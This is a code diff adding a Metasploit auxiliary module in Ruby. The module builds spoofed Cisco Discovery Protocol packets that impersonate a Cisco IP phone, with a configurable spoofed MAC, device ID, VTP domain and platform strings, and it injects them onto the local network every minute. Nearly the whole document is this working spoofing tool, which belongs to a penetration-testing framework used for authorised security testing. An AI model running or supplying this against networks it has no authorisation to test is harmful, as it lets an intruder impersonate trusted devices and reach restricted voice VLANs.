|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + include Msf::Exploit::Capture |
| 10 | + |
| 11 | + def initialize |
| 12 | + super( |
| 13 | + 'Name' => 'Send Cisco Discovery Protocol (CDP) Packets', |
| 14 | + 'Description' => 'This module sends Cisco Discovery Protocol (CDP) packets', |
| 15 | + 'Author' => 'Fatih Ozavci <viproy.com/fozavci>', |
| 16 | + 'License' => MSF_LICENSE, |
| 17 | + 'Actions' => [ |
| 18 | + ['Spoof', { 'Description' => 'Sends CDP packets' }] |
| 19 | + ], |
| 20 | + 'DefaultAction' => 'Spoof' |
| 21 | + ) |
| 22 | + |
| 23 | + register_options( |
| 24 | + [ |
| 25 | + OptString.new('SMAC', [false, "MAC Address for MAC Spoofing"]), |
| 26 | + OptString.new('VTPDOMAIN', [false, "VTP Domain"]), |
| 27 | + OptString.new('DEVICE_ID', [true, "Device ID (e.g. SIP00070EEA3156)", "SEP00070EEA3156"]), |
| 28 | + OptString.new('PORT', [true, "The CDP 'sent through interface' value", "Port 1"]), |
| 29 | + # XXX: this is not currently implemented |
| 30 | + # OptString.new('CAPABILITIES', [false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]), |
| 31 | + OptString.new('PLATFORM', [true, "Platform of the device", "Cisco IP Phone 7975"]), |
| 32 | + OptString.new('SOFTWARE', [true, "Software of the device", "SCCP75.9-3-1SR2-1S"]), |
| 33 | + OptBool.new('FULL_DUPLEX', [true, 'True iff full-duplex, false otherwise', true]) |
| 34 | + ], self.class) |
| 35 | + |
| 36 | + deregister_options('FILTER', 'PCAPFILE', 'RHOST', 'SNAPLEN', 'TIMEOUT') |
| 37 | + end |
| 38 | + |
| 39 | + def setup |
| 40 | + check_pcaprub_loaded |
| 41 | + unless smac |
| 42 | + fail ArgumentError, "Unable to get SMAC from #{interface} -- Set INTERFACE or SMAC" |
| 43 | + end |
| 44 | + open_pcap |
| 45 | + close_pcap |
| 46 | + end |
| 47 | + |
| 48 | + def interface |
| 49 | + @interface ||= datastore['INTERFACE'] || Pcap.lookupdev |
| 50 | + end |
| 51 | + |
| 52 | + def smac |
| 53 | + @smac ||= datastore['SMAC'] || get_mac(interface) |
| 54 | + end |
| 55 | + |
| 56 | + def run |
| 57 | + begin |
| 58 | + open_pcap |
| 59 | + |
| 60 | + @run = true |
| 61 | + cdp_packet = build_cdp |
| 62 | + print_status("Sending CDP messages on #{interface}") |
| 63 | + while @run |
| 64 | + capture.inject(cdp_packet) |
| 65 | + Rex.sleep(60) |
| 66 | + end |
| 67 | + ensure |
| 68 | + close_pcap |
| 69 | + end |
| 70 | + end |
| 71 | + |
| 72 | + def build_cdp |
| 73 | + cdp = '' |
| 74 | + # CDP version |
| 75 | + cdp << "\x02" |
| 76 | + # TTL (180s) |
| 77 | + cdp << "\xB4" |
| 78 | + # checksum, empty for now |
| 79 | + cdp << "\x00\x00" |
| 80 | + # device ID |
| 81 | + cdp << tlv(1, datastore['DEVICE_ID']) |
| 82 | + # port ID |
| 83 | + cdp << tlv(3, datastore['PORT']) |
| 84 | + # TODO: implement this correctly |
| 85 | + # capabilities = datastore['CAPABILITIES'] || "Host" |
| 86 | + # CAPABILITIES |
| 87 | + # define CDP_CAP_LEVEL1 0x40 |
| 88 | + # define CDP_CAP_FORWARD_IGMP 0x20 |
| 89 | + # define CDP_CAP_NETWORK_LAYER 0x10 |
| 90 | + # define CDP_CAP_LEVEL2_SWITCH 0x08 |
| 91 | + # define CDP_CAP_LEVEL2_SRB 0x04 |
| 92 | + # define CDP_CAP_LEVEL2_TRBR 0x02 |
| 93 | + # define CDP_CAP_LEVEL3_ROUTER 0x01 |
| 94 | + cdp << tlv(4, "\x00\x00\x00\x41") |
| 95 | + # software version |
| 96 | + cdp << tlv(5, datastore['SOFTWARE']) |
| 97 | + # platform |
| 98 | + cdp << tlv(6, datastore['PLATFORM']) |
| 99 | + # VTP management domain |
| 100 | + cdp << tlv(9, datastore['VTPDOMAIN']) if datastore['VTPDOMAIN'] |
| 101 | + # random 1000-7000 power consumption in mW |
| 102 | + cdp << tlv(0x10, [1000 + rand(6000)].pack('n')) |
| 103 | + # duplex |
| 104 | + cdp << tlv(0x0b, datastore['FULL_DUPLEX'] ? "\x01" : "\x00") |
| 105 | + # VLAn query. TODO: figure out this field, use tlv, make configurable |
| 106 | + cdp << "\x00\x0F\x00\b \x02\x00\x01" |
| 107 | + |
| 108 | + # compute and replace the checksum |
| 109 | + cdp[2, 2] = [compute_cdp_checksum(cdp)].pack('n') |
| 110 | + |
| 111 | + # Build and return the final packet, which is 802.3 + LLC + CDP. |
| 112 | + # 802.3 |
| 113 | + PacketFu::EthHeader.mac2str("01:00:0C:CC:CC:CC") + |
| 114 | + PacketFu::EthHeader.mac2str(smac) + |
| 115 | + [cdp.length + 8].pack('n') + |
| 116 | + # LLC |
| 117 | + "\xAA\xAA\x03\x00\x00\x0c\x20\x00" + |
| 118 | + # CDP |
| 119 | + cdp |
| 120 | + end |
| 121 | + |
| 122 | + def tlv(t, v) |
| 123 | + [ t, v.length + 4 ].pack("nn") + v |
| 124 | + end |
| 125 | + |
| 126 | + def compute_cdp_checksum(cdp) |
| 127 | + num_shorts = cdp.length / 2 |
| 128 | + checksum = 0 |
| 129 | + remaining = cdp.length |
| 130 | + |
| 131 | + cdp.unpack("S#{num_shorts}").each do |short| |
| 132 | + checksum += short |
| 133 | + remaining -= 2 |
| 134 | + end |
| 135 | + |
| 136 | + checksum += cdp[cdp.length - 1].getbyte(0) << 8 if remaining == 1 |
| 137 | + checksum = (checksum >> 16) + (checksum & 0xffff) |
| 138 | + checksum = ~((checksum >> 16) + checksum) & 0xffff |
| 139 | + ([checksum].pack("S*")).unpack("n*")[0] |
| 140 | + end |
| 141 | +end |
0 commit comments